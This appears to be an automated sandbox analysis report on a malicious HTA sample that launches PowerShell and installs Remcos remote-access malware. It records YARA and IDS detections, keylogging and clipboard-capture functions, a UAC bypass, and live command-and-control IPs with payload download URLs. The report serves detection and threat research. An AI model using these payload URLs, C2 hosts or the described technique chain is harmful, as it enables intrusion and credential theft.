Windows Analysis Report
verynicegirlwalkingarounftheworldmuuuah.hta

AI detected suspicious sample

Source: Yara match	File source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4102227044.0000000001355000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4104782435.0000000002EAF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00432B45 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

12_2_00432B45

Source: powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_88c54551-6

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00406764 _wcslen,CoGetObject,

12_2_00406764

Phishing

Yara detected obfuscated html page

Source: Yara match

File source: verynicegirlwalkingarounftheworldmuuuah.hta, type: SAMPLE

Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000007.00000002.1944409134.00000000074BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1942564725.0000000006F20000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000007.00000002.1944409134.00000000074BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1942564725.0000000006F20000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.pdb source: powershell.exe, 00000003.00000002.1774693140.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000007.00000002.1944409134.00000000074BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1942564725.0000000006F20000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	12_2_0040B335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	12_2_0040B53A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0041B63A FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,	12_2_0041B63A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,	12_2_004089A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00406AC2 FindFirstFileW,FindNextFileW,	12_2_00406AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,	12_2_00407A8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,	12_2_00408DA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00418E5F FindFirstFileW,FindNextFileW,FindNextFileW,	12_2_00418E5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	12_2_100010F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0040AE51 FindFirstFileW,FindNextFileW,	13_2_0040AE51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	14_2_00407EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,	15_2_00407898

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

12_2_00406F06

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.4:49730 -> 172.245.123.7:80
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49739 -> 172.245.123.12:8690
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49741 -> 172.245.123.12:8690
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 172.245.123.7:80 -> 192.168.2.4:49738
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 : 172.245.123.7:80 -> 192.168.2.4:49738
Source: Network traffic	Suricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 172.245.123.7:80 -> 192.168.2.4:49738
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 172.245.123.7:80 -> 192.168.2.4:49738

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 172.245.123.12

Source: global traffic	HTTP traffic detected: GET /77/kissingbestthingswithgreatdayscomingforhim.txt HTTP/1.1Host: 172.245.123.7Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50
Source: Joe Sandbox View	IP Address: 172.245.123.12 172.245.123.12

Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49740 -> 178.237.33.50:80

Source: global traffic

HTTP traffic detected: GET /77/seethebestthingsforgetmebackwithgoodnewsthings.tIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 172.245.123.7Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.7

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00907A18 URLDownloadToFileW,

3_2_00907A18

Source: global traffic	HTTP traffic detected: GET /77/seethebestthingsforgetmebackwithgoodnewsthings.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 172.245.123.7Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /77/kissingbestthingswithgreatdayscomingforhim.txt HTTP/1.1Host: 172.245.123.7Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
Source: CasPol.exe, CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
Source: CasPol.exe	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: CasPol.exe, 0000000D.00000002.1949326180.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: CasPol.exe, 0000000D.00000002.1949326180.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: CasPol.exe, 0000000D.00000002.1946498945.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
Source: CasPol.exe, 0000000D.00000002.1946498945.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: powershell.exe, 00000003.00000002.1777884183.0000000006DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.7/
Source: powershell.exe, 00000003.00000002.1774693140.0000000004B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.7/77/seethebe
Source: powershell.exe, 00000003.00000002.1779425802.0000000007C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.7/77/seethebestthingsforgetmebackwithgoodnewsthings.tIF
Source: powershell.exe, 00000003.00000002.1777596640.0000000006D85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.7/77/seethebestthingsforgetmebackwithgoodnewsthings.tIFMSIL
Source: bhvEC00.tmp.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: bhvEC00.tmp.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: powershell.exe, 00000007.00000002.1914783591.0000000002FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftX
Source: bhvEC00.tmp.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhvEC00.tmp.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: bhvEC00.tmp.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: CasPol.exe, CasPol.exe, 0000000C.00000002.4102227044.0000000001363000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4102227044.0000000001355000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000003.00000002.1774693140.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000003.00000002.1776250099.000000000575C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: bhvEC00.tmp.13.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1774693140.00000000046F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1915796517.0000000004D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: CasPol.exe, CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com
Source: CasPol.exe, CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.com
Source: CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
Source: CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comr
Source: CasPol.exe, 0000000D.00000002.1947882801.0000000000EEF000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: powershell.exe, 00000003.00000002.1779425802.0000000007CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka..winsvr
Source: powershell.exe, 00000003.00000002.1774693140.00000000046F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1915796517.0000000004D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: seethebestthingsforgetmebackwithgoodnewsthi.vbS.3.dr	String found in binary or memory: https://github.com/koswald/VBScript
Source: wscript.exe, 00000006.00000003.1746292531.0000000005DBD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1743748837.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1749746793.0000000005AF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1746708576.00000000059F1000.00000004.00000020.00020000.00000000.sdmp, seethebestthingsforgetmebackwithgoodnewsthings[1].tiff.3.dr, seethebestthingsforgetmebackwithgoodnewsthi.vbS.3.dr	String found in binary or memory: https://github.com/koswald/VBScript/blob/master/ProjectInfo.vbs
Source: wscript.exe, 00000006.00000003.1746388479.000000000359F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1746292531.0000000005DBD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1743748837.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1749746793.0000000005AF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1746708576.00000000059F1000.00000004.00000020.00020000.00000000.sdmp, seethebestthingsforgetmebackwithgoodnewsthings[1].tiff.3.dr, seethebestthingsforgetmebackwithgoodnewsthi.vbS.3.dr	String found in binary or memory: https://github.com/koswald/VBScript/blob/master/SetupPerUser.md
Source: powershell.exe, 00000003.00000002.1774693140.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: CasPol.exe, 0000000D.00000002.1948518347.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: CasPol.exe, 0000000D.00000002.1948518347.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: CasPol.exe, 0000000D.00000002.1949326180.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.liv
Source: CasPol.exe	String found in binary or memory: https://login.yahoo.com/config/login
Source: powershell.exe, 00000003.00000002.1776250099.000000000575C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com
Source: powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg
Source: powershell.exe, 00000007.00000002.1915796517.0000000004EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpgt
Source: CasPol.exe, CasPol.exe, 0000000F.00000002.1941427909.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: CasPol.exe	String found in binary or memory: https://www.google.com/accounts/servicelogin

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_004099E4 SetWindowsHookExA 0000000D,004099D0,00000000

12_2_004099E4

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00415B5E OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

12_2_00415B5E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00415B5E OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,	12_2_00415B5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,	13_2_0040987A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	13_2_004098E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	14_2_00406DFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,	14_2_00406E9F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	15_2_004068B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,	15_2_004072B5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00415B5E OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

12_2_00415B5E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00409B10 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

12_2_00409B10

Source: Yara match	File source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
